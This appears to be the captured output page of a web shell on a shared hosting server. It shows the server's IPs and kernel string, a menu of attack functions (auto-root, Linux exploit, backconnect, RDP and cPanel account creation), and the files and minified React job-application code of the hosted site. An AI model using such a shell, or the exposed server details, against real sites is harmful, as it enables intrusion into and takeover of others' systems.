Linux server292.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
LiteSpeed
: 162.0.235.5 | : 216.73.216.150
Cant Read [ /etc/named.conf ]
8.3.25
comfsblg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
comfsblg /
jobspot /
dist /
assets /
[ HOME SHELL ]
Name
Size
Permission
Action
8learningLandingPage-BxAeOnRC....
5.35
KB
-rw-r--r--
AboutUsPage-v3iTUt-Y.js
8.61
KB
-rw-r--r--
AccessibilityStatementPage-Dbz...
7.34
KB
-rw-r--r--
AccountPage-sx-Cy3cO.js
69.81
KB
-rw-r--r--
ApplyJobPage-B4LepRCa.js
8.25
KB
-rw-r--r--
CareerGuidancePage-BtXt-O9W.js
12.62
KB
-rw-r--r--
CareerResourcesPage-BXjxs3AN.j...
6.72
KB
-rw-r--r--
ChartsWidget1-eYxi7HrY.js
6.06
KB
-rw-r--r--
ChatPage-C9e7Tf75.js
26.33
KB
-rw-r--r--
CompanyFollow-C_nOjFaS.js
2.04
KB
-rw-r--r--
CompanyFollowersPage-Bny9CAsO....
3.14
KB
-rw-r--r--
CompanyJobApplicationsPage-DKQ...
16.44
KB
-rw-r--r--
CompanyJobOffersPage-B4Fd195R....
6.66
KB
-rw-r--r--
ContactUsPage-DUketUTZ.js
5.29
KB
-rw-r--r--
Container-zyPQsKCF.js
2.25
KB
-rw-r--r--
CourseApiService-CkzEEhl_.js
3.7
KB
-rw-r--r--
CourseDetailsPage-Bcy4t_KD.js
9.09
KB
-rw-r--r--
CoursesPage-DvuiPxmL.js
10.13
KB
-rw-r--r--
CoverLetterGuidePage-hJEMe05p....
12.42
KB
-rw-r--r--
CvBankPage-bOAXYUnP.js
14.12
KB
-rw-r--r--
CvModel-DrFgAuyu.js
6.33
KB
-rw-r--r--
CvPDFPage-BUObCrrF.js
2.47
KB
-rw-r--r--
DisabilityInclusionPage-4299bX...
11.7
KB
-rw-r--r--
Dropdown1-UGVH9NzS.js
2.27
KB
-rw-r--r--
EmployeeDetailsPage-DFkK2CHl.j...
6.51
KB
-rw-r--r--
EmployerFAQPage-S7lrcptO.js
10.8
KB
-rw-r--r--
EmployersPage-DRhY53a3.js
7.26
KB
-rw-r--r--
InterviewTipsPage-BJ7aYyRF.js
15.71
KB
-rw-r--r--
JobCreatePage-D-Ncpkvi.css
21.52
KB
-rw-r--r--
JobCreatePage-n40SwcyD.js
241.51
KB
-rw-r--r--
JobDetailPage-Ch9Qkdb-.js
28.32
KB
-rw-r--r--
JobOffer-DZXDwm2j.js
2.65
KB
-rw-r--r--
JobSeekerFAQPage-DnLwGKr3.js
10.03
KB
-rw-r--r--
JobsPage-Caz20Wft.js
6.22
KB
-rw-r--r--
ListsWidget2-x9S0Hirq.js
17.34
KB
-rw-r--r--
MyCVPage-B14hiBZD.js
2.2
KB
-rw-r--r--
MyCompanyFollowsPage-DXtQPsVD....
4.3
KB
-rw-r--r--
MyCvViewsPage-gBsRqUHE.js
4.77
KB
-rw-r--r--
MyJobApplicationsPage-CNQ6620B...
6.14
KB
-rw-r--r--
MyJobOffersPage-CrQd3_n2.js
7.23
KB
-rw-r--r--
MyJonApplicationModel-1B2s8ml9...
3.45
KB
-rw-r--r--
MyShortListedJobApplicationsPa...
6.2
KB
-rw-r--r--
PrivacyPolicyPage-BYFqjTRP.js
17.31
KB
-rw-r--r--
ProfileEditPage-DSZQntuQ.js
69.48
KB
-rw-r--r--
ProfilePage-Dyg0d8fl.js
35.71
KB
-rw-r--r--
Row-DPZyTb7u.js
432
B
-rw-r--r--
SalaryGuidePage-TNz3Wo0q.js
12.86
KB
-rw-r--r--
ServiceApiService-M3M9HWad.js
4.65
KB
-rw-r--r--
ServiceDetailsPage-B29kv5us.js
6.71
KB
-rw-r--r--
ServicesPage-BfKuD8DN.js
9.79
KB
-rw-r--r--
SiteMapPage-D5JPTP5u.js
6.27
KB
-rw-r--r--
TablesWidget5-DZK4T4po.js
19.53
KB
-rw-r--r--
TermsAndConditionsPage-C9Z_qPQ...
15.07
KB
-rw-r--r--
UsersPage-D9i6KJrQ.js
125.33
KB
-rw-r--r--
WidgetsPage-aJXvNKtY.js
219.63
KB
-rw-r--r--
WizardsPage-BSIvJ-JL.js
29.3
KB
-rw-r--r--
bootstrap-icons-BOrJxbIo.woff
171.91
KB
-rw-r--r--
bootstrap-icons-BtvjY1KL.woff2
127.34
KB
-rw-r--r--
fa-brands-400-Dur5g48u.ttf
204.47
KB
-rw-r--r--
fa-brands-400-O7nZalfM.woff2
115.3
KB
-rw-r--r--
fa-regular-400-Bf3rG5Nx.ttf
66.38
KB
-rw-r--r--
fa-regular-400-DgEfZSYE.woff2
24.87
KB
-rw-r--r--
fa-solid-900-BV3CbEM2.ttf
413.75
KB
-rw-r--r--
fa-solid-900-DOQJEhcS.woff2
153.51
KB
-rw-r--r--
fa-v4compatibility-B9MWI-E6.tt...
10.58
KB
-rw-r--r--
fa-v4compatibility-BX8XWJtE.wo...
4.69
KB
-rw-r--r--
fonticon-DWAcCzk_.ttf
28.82
KB
-rw-r--r--
fonticon-DwNJt5rD.woff2
13.53
KB
-rw-r--r--
fonticon-HMxJuE9W.svg
237.07
KB
-rw-r--r--
fonticon-VqleVTVL.eot
28.99
KB
-rw-r--r--
fonticon-zHHFr-fU.woff
16
KB
-rw-r--r--
index-BH1zEgzQ.js
2.14
MB
-rw-r--r--
index-BszjlO3o.js
31.34
KB
-rw-r--r--
index-DxnCHZMK.css
1.91
MB
-rw-r--r--
keenicons-duotone-BdYtl4gH.eot
183.27
KB
-rw-r--r--
keenicons-duotone-C4mN2-ZY.svg
674.09
KB
-rw-r--r--
keenicons-duotone-CtM_kZPp.wof...
183.18
KB
-rw-r--r--
keenicons-duotone-DKdN_-MP.ttf
183.11
KB
-rw-r--r--
keenicons-outline-2dtxAfdV.wof...
241.05
KB
-rw-r--r--
keenicons-outline-CkekYDxi.svg
1.01
MB
-rw-r--r--
keenicons-outline-DQbBVMHT.ttf
240.98
KB
-rw-r--r--
keenicons-outline-UBChmC0V.eot
241.14
KB
-rw-r--r--
keenicons-solid-3fU7eTfe.ttf
161.26
KB
-rw-r--r--
keenicons-solid-7nivxdSK.eot
161.42
KB
-rw-r--r--
keenicons-solid-B_g1gF03.woff
161.34
KB
-rw-r--r--
keenicons-solid-Bbtzhe37.svg
679.13
KB
-rw-r--r--
la-brands-400-Cq-R4OEF.woff2
82.79
KB
-rw-r--r--
la-brands-400-D0lxOIwB.woff
96.36
KB
-rw-r--r--
la-brands-400-LN4CMlGg.eot
152.6
KB
-rw-r--r--
la-brands-400-gDglUfU7.ttf
152.41
KB
-rw-r--r--
la-brands-400-wsUI3UJ9.svg
905.6
KB
-rw-r--r--
la-regular-400-BmVb34ql.svg
110.87
KB
-rw-r--r--
la-regular-400-CmnW_RTo.ttf
32.93
KB
-rw-r--r--
la-regular-400-Cx6vm3uW.eot
33.12
KB
-rw-r--r--
la-regular-400-DuFMN_sw.woff2
12.6
KB
-rw-r--r--
la-regular-400-ehe5HgcS.woff
15.13
KB
-rw-r--r--
la-solid-900-BUOWlSBQ.ttf
220.83
KB
-rw-r--r--
la-solid-900-CR_Kd-su.woff
122.48
KB
-rw-r--r--
la-solid-900-DkmX4G2x.eot
221.01
KB
-rw-r--r--
la-solid-900-TjMEgv3Q.woff2
94.48
KB
-rw-r--r--
la-solid-900-dtlPMWb8.svg
901.51
KB
-rw-r--r--
socicon-CSO5PcLV.woff
37.79
KB
-rw-r--r--
socicon-DFwHIzOF.ttf
51.2
KB
-rw-r--r--
socicon-DTk6ugo7.svg
128.22
KB
-rw-r--r--
socicon-DpTpLguA.eot
51.36
KB
-rw-r--r--
useIsomorphicEffect-BzIh6twu.j...
5.57
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CompanyJobApplicationsPage-DKQxdGW8.js
import{r as a,z as F,j as e,ac as K,ad as X,ae as Z,H as ee,ai as s,ap as P,aj as se,aq as ne,p as v,ak as J,al as G,am as te,R as V,an as L,_ as ae,ao as g,Q as m,as as c,ar as re,C as ie}from"./index-BH1zEgzQ.js";import{M as le}from"./MyJonApplicationModel-1B2s8ml9.js";import{R as u}from"./Row-DPZyTb7u.js";const oe={hidden:{opacity:0,y:10},visible:{opacity:1,y:0,transition:{duration:.3}},exit:{opacity:0,y:10}},H=V.memo(({status:r})=>{let n="bg-light-secondary text-secondary",i="text-secondary";switch(r){case"Pending":n="bg-light-warning text-warning",i="text-warning";break;case"Interview":n="bg-light-info text-info",i="text-info";break;case"Hired":n="bg-light-success text-success",i="text-success";break;case"Declined":n="bg-light-danger text-danger",i="text-danger";break;case"On Hold":n="bg-light-primary text-primary",i="text-primary";break;case"Rejected":n="bg-light-danger text-danger",i="text-danger";break}return e.jsx(re,{className:`badge ${n} ${i}`,children:r})});H.displayName="StatusBadge";const E=V.memo(({app:r,idx:n,currentPage:i,onOpenReviewModal:j,onOpenViewModal:t,isRowLoading:d})=>{var x;return e.jsxs("tr",{children:[e.jsx("td",{children:d?e.jsx(g,{}):(i-1)*10+(n+1)}),e.jsx("td",{children:d?e.jsx(g,{width:150}):e.jsx("a",{href:`/cv-bank/${r.employer_id}`,target:"_blank",rel:"noopener noreferrer",title:"Click to view applicant cv",children:r.employer_text||r.employer_id})}),e.jsx("td",{children:d?e.jsx(g,{width:150}):r.job_text||r.job_id}),e.jsx("td",{children:d?e.jsx(g,{width:80}):e.jsx(H,{status:r.status})}),e.jsx("td",{children:d?e.jsx(g,{width:100}):((x=r.created_at)==null?void 0:x.split("T")[0])||"N/A"}),e.jsx("td",{children:d?e.jsx(g,{width:120}):r.interview_scheduled_at?r.interview_scheduled_at.split("T")[0]:"N/A"}),e.jsxs("td",{className:"d-flex gap-1",children:[" ",d?e.jsx(g,{width:60}):e.jsx(v,{variant:"outline-primary",size:"sm",className:"btn-sm font-weight-bold",onClick:()=>t(r),children:"View Details"}),d?e.jsx(g,{width:60}):e.jsx(v,{variant:"primary",size:"sm",className:"btn-sm btn-primary font-weight-bold",onClick:()=>j(r),children:"Review"})]})]},r.id)});E.displayName="JobApplicationRow";const ce=({showModal:r,selectedApp:n,onCloseModal:i})=>{var j;return n?e.jsxs(m,{show:r,onHide:i,size:"lg",centered:!0,children:[e.jsx(m.Header,{closeButton:!0,children:e.jsxs(m.Title,{children:["Application Details: ",n.job_text||n.job_id]})}),e.jsxs(m.Body,{children:[e.jsxs("section",{className:"mb-4",children:[e.jsx("h5",{className:"font-weight-bold text-primary mb-3",children:"Application Overview"}),e.jsxs(u,{children:[e.jsxs(c,{md:6,children:[e.jsxs("p",{children:[e.jsx("strong",{children:"Status:"})," ",e.jsx(H,{status:n.status})]}),e.jsxs("p",{children:[e.jsx("strong",{children:"Applied On:"})," ",((j=n.created_at)==null?void 0:j.split("T")[0])||"N/A"]}),e.jsx("p",{children:e.jsx("strong",{children:"Applicant Message:"})}),e.jsx("div",{className:"card card-body bg-light-secondary rounded-sm",children:n.applicant_message||"No message"}),e.jsxs("p",{className:"mt-2",children:[e.jsx("strong",{children:"Attachments:"})," ",n.attachments||"None"]})]}),e.jsxs(c,{md:6,children:[e.jsxs("p",{children:[e.jsx("strong",{children:"Employer Message:"})," ",n.employer_message||"N/A"]}),e.jsxs("p",{children:[e.jsx("strong",{children:"Decline Reason:"})," ",n.decline_reason||"N/A"]})]})]})]}),e.jsxs("section",{className:"mb-4",style:{borderTop:"1px solid #eee",paddingTop:"15px"},children:[e.jsx("h5",{className:"font-weight-bold text-primary mb-3",children:"Interview Details"}),e.jsxs(u,{children:[e.jsxs(c,{md:6,children:[e.jsxs("p",{children:[e.jsx("strong",{children:"Scheduled At:"})," ",n.interview_scheduled_at?n.interview_scheduled_at.split("T")[0]:"N/A"]}),e.jsxs("p",{children:[e.jsx("strong",{children:"Location:"})," ",n.interview_location||"N/A"]}),e.jsxs("p",{children:[e.jsx("strong",{children:"Type:"})," ",n.interview_type||"N/A"]})]}),e.jsxs(c,{md:6,children:[e.jsxs("p",{children:[e.jsx("strong",{children:"Result:"})," ",n.interview_result||"Pending"]}),e.jsxs("p",{children:[e.jsx("strong",{children:"Interviewer Notes:"})," ",n.interviewer_notes||"N/A"]}),e.jsxs("p",{children:[e.jsx("strong",{children:"Interviewer Rating:"})," ",n.interviewer_rating||"N/A"]})]})]})]}),e.jsxs("section",{className:"mb-4",style:{borderTop:"1px solid #eee",paddingTop:"15px"},children:[e.jsx("h5",{className:"font-weight-bold text-primary mb-3",children:"Interviewee Feedback"}),e.jsxs(u,{children:[e.jsx(c,{md:6,children:e.jsxs("p",{children:[e.jsx("strong",{children:"Feedback to Interviewee:"})," ",n.interviewee_feedback||"N/A"]})}),e.jsx(c,{md:6,children:e.jsxs("p",{children:[e.jsx("strong",{children:"Interviewee Rating:"})," ",n.interviewee_rating||"N/A"]})})]})]}),e.jsxs("section",{className:"mb-4",style:{borderTop:"1px solid #eee",paddingTop:"15px"},children:[e.jsx("h5",{className:"font-weight-bold text-primary mb-3",children:"Onboarding"}),e.jsxs(u,{children:[e.jsx(c,{md:6,children:e.jsxs("p",{children:[e.jsx("strong",{children:"Contract URL:"})," ",n.contract_url||"N/A"]})}),e.jsxs(c,{md:6,children:[e.jsxs("p",{children:[e.jsx("strong",{children:"Onboarding Start:"})," ",n.onboarding_start_date||"N/A"]}),e.jsxs("p",{children:[e.jsx("strong",{children:"Onboarding Notes:"})," ",n.onboarding_notes||"N/A"]})]})]})]})]}),e.jsx(m.Footer,{children:e.jsx(v,{variant:"secondary",onClick:i,children:"Close"})})]}):null},de=({showModal:r,selectedApp:n,onCloseModal:i,onApplicationUpdate:j})=>{const[t,d]=a.useState(n),[x,C]=a.useState(!1),[h,N]=a.useState(null);a.useEffect(()=>{d(n)},[n]);const o=b=>{const{name:y,value:T}=b.target},M=b=>{o(b)},p=async()=>{if(t){C(!0),N(null);try{var b=await ie(`/job-application-update/${t.id}`,t);console.log("=============================="),console.log(b),console.log("=============================="),F.success("Application updated successfully!"),i(),j()}catch(y){console.error("Error updating application:",y),N("Failed to update application. because "+y),F.error("Failed to update application because "+y)}finally{C(!1)}}};if(!t)return null;const f=t.status,S=["Declined","Rejected"].includes(f),k=["Interview","Hired","Declined","Rejected","On Hold"].includes(f),A=["Hired","Declined","Rejected"].includes(f),R=f==="Hired";return e.jsxs(m,{show:r,onHide:i,size:"lg",centered:!0,children:[e.jsx(m.Header,{closeButton:!0,className:"bg-primary text-white",children:e.jsxs(m.Title,{className:"text-white",children:["Review Application: ",t.job_text||t.job_id]})}),e.jsxs(m.Body,{className:"p-4",children:[h&&e.jsx(G,{variant:"danger",children:h}),e.jsxs(s,{children:[e.jsxs("section",{className:"mb-6",children:[e.jsx("h5",{className:"font-weight-bold text-primary mb-4",children:"Application Status"}),e.jsxs(u,{className:"mb-3 align-items-stretch",children:[e.jsx(c,{md:6,children:e.jsxs(s.Group,{className:"mb-3",children:[e.jsx(s.Label,{children:e.jsx("strong",{children:"Current Status"})}),e.jsxs(s.Select,{name:"status",value:t.status,onChange:M,className:"form-control form-control-outline",children:[e.jsx("option",{value:"Pending",children:"Pending"}),e.jsx("option",{value:"Interview",children:"Interview"}),e.jsx("option",{value:"Hired",children:"Hired"}),e.jsx("option",{value:"Declined",children:"Declined"}),e.jsx("option",{value:"On Hold",children:"On Hold"}),e.jsx("option",{value:"Rejected",children:"Rejected"})]})]})}),S&&e.jsx(c,{md:6,children:e.jsxs(s.Group,{className:"mb-3",children:[e.jsx(s.Label,{children:e.jsx("strong",{children:"Decline/Reject Reason"})}),e.jsx(s.Control,{as:"textarea",rows:3,name:"decline_reason",value:t.decline_reason||"",onChange:o,placeholder:"Reason for decline/rejection (internal use)",className:"form-control form-control-outline"})]})})]})]}),e.jsxs("section",{className:"mb-6",children:[e.jsx("h5",{className:"font-weight-bold text-primary mb-4",children:"Applicant Information"}),e.jsxs(u,{className:"mb-3",children:[e.jsxs(c,{md:6,children:[e.jsxs("div",{className:"mb-3",children:[e.jsx("strong",{className:"text-dark",children:"Applicant Message:"}),e.jsx("p",{className:"text-muted card card-body bg-light-secondary rounded-sm",children:t.applicant_message||"No message"})]}),e.jsxs("div",{children:[e.jsx("strong",{className:"text-dark",children:"Attachments:"}),e.jsx("p",{className:"text-muted",children:t.attachments||"None"})]})]}),e.jsx(c,{md:6,children:e.jsxs(s.Group,{className:"mb-3",children:[e.jsx(s.Label,{children:e.jsx("strong",{children:"Employer Message to Applicant"})}),e.jsx(s.Control,{as:"textarea",rows:3,name:"employer_message",value:t.employer_message||"",onChange:o,placeholder:"Optional message to applicant",className:"form-control form-control-outline"})]})})]})]}),k&&e.jsxs("section",{className:"mb-6",children:[e.jsx("h5",{className:"font-weight-bold text-primary mb-4",children:"Interview Details"}),e.jsxs(u,{children:[e.jsxs(c,{md:6,children:[e.jsxs(s.Group,{className:"mb-3",children:[e.jsx(s.Label,{children:e.jsx("strong",{children:"Scheduled At"})}),e.jsx(s.Control,{type:"datetime-local",name:"interview_scheduled_at",value:t.interview_scheduled_at?t.interview_scheduled_at.slice(0,16):"",onChange:o,className:"form-control form-control-outline"})]}),e.jsxs(s.Group,{className:"mb-3",children:[e.jsx(s.Label,{children:e.jsx("strong",{children:"Location"})}),e.jsx(s.Control,{type:"text",name:"interview_location",value:t.interview_location||"",onChange:o,placeholder:"Interview Location",className:"form-control form-control-outline"})]})]}),e.jsxs(c,{md:6,children:[e.jsxs(s.Group,{className:"mb-3",children:[e.jsx(s.Label,{children:e.jsx("strong",{children:"Interview Type"})}),e.jsxs(s.Select,{name:"interview_type",value:t.interview_type||"",onChange:o,className:"form-control form-control-outline",children:[e.jsx("option",{value:"",children:"Select Type"}),e.jsx("option",{value:"In-person",children:"In-person"}),e.jsx("option",{value:"Virtual",children:"Virtual"}),e.jsx("option",{value:"Phone",children:"Phone"})]})]}),e.jsxs(s.Group,{className:"mb-3",children:[e.jsx(s.Label,{children:e.jsx("strong",{children:"Interviewer Notes"})}),e.jsx(s.Control,{as:"textarea",rows:3,name:"interviewer_notes",value:t.interviewer_notes||"",onChange:o,placeholder:"Notes from the interviewer",className:"form-control form-control-outline"})]}),e.jsxs(s.Group,{className:"mb-3",children:[e.jsx(s.Label,{children:e.jsx("strong",{children:"Interview Result"})}),e.jsx(s.Control,{type:"text",name:"interview_result",value:t.interview_result||"",onChange:o,placeholder:"Interview Result",className:"form-control form-control-outline"})]}),e.jsxs(s.Group,{className:"mb-3",children:[e.jsx(s.Label,{children:e.jsx("strong",{children:"Interviewer Rating"})}),e.jsx(s.Control,{type:"text",name:"interviewer_rating",value:t.interviewer_rating||"",onChange:o,placeholder:"Rating given by interviewer",className:"form-control form-control-outline"})]})]})]})]}),A&&e.jsxs("section",{className:"mb-6",children:[e.jsx("h5",{className:"font-weight-bold text-primary mb-4",children:"Interviewee Feedback"}),e.jsxs(u,{children:[e.jsx(c,{md:6,children:e.jsxs(s.Group,{className:"mb-3",children:[e.jsx(s.Label,{children:e.jsx("strong",{children:"Feedback to Interviewee"})}),e.jsx(s.Control,{as:"textarea",rows:3,name:"interviewee_feedback",value:t.interviewee_feedback||"",onChange:o,placeholder:"Feedback for the interviewee",className:"form-control form-control-outline"})]})}),e.jsx(c,{md:6,children:e.jsxs(s.Group,{className:"mb-3",children:[e.jsx(s.Label,{children:e.jsx("strong",{children:"Interviewee Rating"})}),e.jsx(s.Control,{type:"text",name:"interviewee_rating",value:t.interviewee_rating||"",onChange:o,placeholder:"Rating given by interviewee (if collected)",className:"form-control form-control-outline"})]})})]})]}),R&&e.jsxs("section",{className:"mb-6",children:[e.jsx("h5",{className:"font-weight-bold text-primary mb-4",children:"Onboarding"}),e.jsxs(u,{children:[e.jsx(c,{md:6,children:e.jsxs(s.Group,{className:"mb-3",children:[e.jsx(s.Label,{children:e.jsx("strong",{children:"Contract URL"})}),e.jsx(s.Control,{type:"text",name:"contract_url",value:t.contract_url||"",onChange:o,placeholder:"URL of the contract document",className:"form-control form-control-outline"})]})}),e.jsxs(c,{md:6,children:[e.jsxs(s.Group,{className:"mb-3",children:[e.jsx(s.Label,{children:e.jsx("strong",{children:"Onboarding Start Date"})}),e.jsx(s.Control,{type:"date",name:"onboarding_start_date",value:t.onboarding_start_date||"",onChange:o,className:"form-control form-control-outline"})]}),e.jsxs(s.Group,{className:"mb-3",children:[e.jsx(s.Label,{children:e.jsx("strong",{children:"Onboarding Notes"})}),e.jsx(s.Control,{as:"textarea",rows:2,name:"onboarding_notes",value:t.onboarding_notes||"",onChange:o,placeholder:"Any onboarding notes",className:"form-control form-control-outline"})]})]})]})]})]})]}),e.jsxs(m.Footer,{className:"border-top pt-4",children:[e.jsx(v,{variant:"primary",onClick:p,disabled:x,className:"btn-primary font-weight-bold",children:x?e.jsx(J,{size:"sm",animation:"border"}):"Update Application"}),e.jsx(v,{variant:"secondary",onClick:i,disabled:x,className:"btn-secondary font-weight-bold ml-2",children:"Close"})]})]})},pe=()=>{const[r,n]=a.useState([]),[i,j]=a.useState(!1),[t,d]=a.useState(!1),[x,C]=a.useState(""),[h,N]=a.useState(1),[o,M]=a.useState(1),[p,f]=a.useState(""),[S,k]=a.useState(!1),[A,R]=a.useState(!1),[b,y]=a.useState(null),[T,U]=a.useState(null),[B,he]=a.useState([]),_=a.useCallback(async(l,w)=>{j(!0),C("");try{const I={};w&&(I.search=w);const D=await le.fetchCompanyJobs(l,I);n(D.data),N(D.current_page),M(D.last_page)}catch(I){console.error(I),C("Failed to load job applications."),F.error("Error loading applications.")}finally{j(!1)}},[]);a.useEffect(()=>{_(h,p)},[h,p,_]);const z=a.useCallback(l=>{l.preventDefault(),N(1),_(1,p)},[p,_]),O=a.useCallback(l=>{l>=1&&l<=o&&N(l)},[o]),$=a.useCallback(l=>{y(l),k(!0)},[]),q=a.useCallback(()=>{k(!1)},[]),Q=a.useCallback(l=>{U(l),R(!0)},[]),W=a.useCallback(()=>{R(!1)},[]),Y=a.useCallback(()=>{d(!0),_(h,p).finally(()=>d(!1))},[h,p,_]);return e.jsxs(e.Fragment,{children:[e.jsx(K,{breadcrumbs:[{title:"Jobs",path:"/admin/company-job-applications",isActive:!1}],children:"Company - Job Applications"}),e.jsx(X,{}),e.jsx(Z,{children:e.jsx(ee.div,{className:"container-fluid py-4 card shadow-sm",variants:oe,initial:"hidden",animate:"visible",exit:"exit",children:e.jsxs("div",{className:"card-body",children:[e.jsx("div",{className:"row mb-3",children:e.jsx("div",{className:"col-md-4",children:e.jsx(s,{onSubmit:z,children:e.jsxs(P,{size:"sm",children:[e.jsx(P.Text,{className:"bg-primary border-primary text-white",children:e.jsx(se,{color:"white"})}),e.jsx(ne,{type:"text",placeholder:"Search...",value:p,onChange:l=>f(l.target.value)}),e.jsx(v,{variant:"primary",type:"submit",size:"sm"}),e.jsx(v,{variant:"primary",type:"submit",className:"btn-primary font-weight-bold",children:"Search"})]})})})}),(i||t)&&e.jsx("div",{className:"text-center py-5",children:e.jsx(J,{animation:"border",variant:"primary",role:"status",children:e.jsx("span",{className:"visually-hidden",children:"Loading..."})})}),!i&&x&&e.jsx(G,{variant:"danger",role:"alert",children:x}),!i&&!x&&r.length===0&&e.jsx("div",{className:"d-flex flex-column align-items-center justify-content-center py-5",children:e.jsxs(G,{variant:"info",className:"text-center w-50",children:[e.jsx("h4",{className:"font-weight-bold",children:"No Job Applications Found"}),e.jsx("p",{className:"mb-4",children:"You haven't applied for any jobs yet."}),e.jsx(v,{href:"/jobs",as:"a",variant:"primary",className:"btn-primary font-weight-bold",children:"Browse Jobs"})]})}),!i&&!x&&r.length>0&&e.jsx("div",{className:"table-responsive",children:e.jsxs(te,{striped:!0,hover:!0,className:"align-middle",children:[e.jsx("thead",{className:"table-light",children:e.jsxs("tr",{children:[e.jsx("th",{children:"#"}),e.jsx("th",{children:"Applicant"}),e.jsx("th",{children:"Job"}),e.jsx("th",{children:"Status"}),e.jsx("th",{children:"Applied On"}),e.jsx("th",{children:"Interview Date"}),e.jsx("th",{children:"Actions"})]})}),e.jsx("tbody",{children:r.map((l,w)=>e.jsx(E,{app:l,idx:w,currentPage:h,onOpenReviewModal:$,onOpenViewModal:Q,isRowLoading:B.includes(w)},l.id))})]})}),!i&&!x&&o>1&&e.jsxs(L,{className:"mt-4 justify-content-center",children:[e.jsx(L.Prev,{onClick:()=>O(h-1),disabled:h<=1,className:"pagination-prev next-link",children:"Previous"}),Array.from({length:o},(l,w)=>w+1).map(l=>e.jsx(L.Item,{active:l===h,onClick:()=>O(l),className:"page-item",children:l},l)),e.jsx(L.Next,{onClick:()=>O(h+1),disabled:h>=o,className:"pagination-next next-link",children:"Next"})]}),e.jsxs(ae,{children:[S&&b&&e.jsx(de,{showModal:S,selectedApp:b,onCloseModal:q,onApplicationUpdate:Y}),A&&T&&e.jsx(ce,{showModal:A,selectedApp:T,onCloseModal:W})]})]})})})]})};export{pe as default};
Close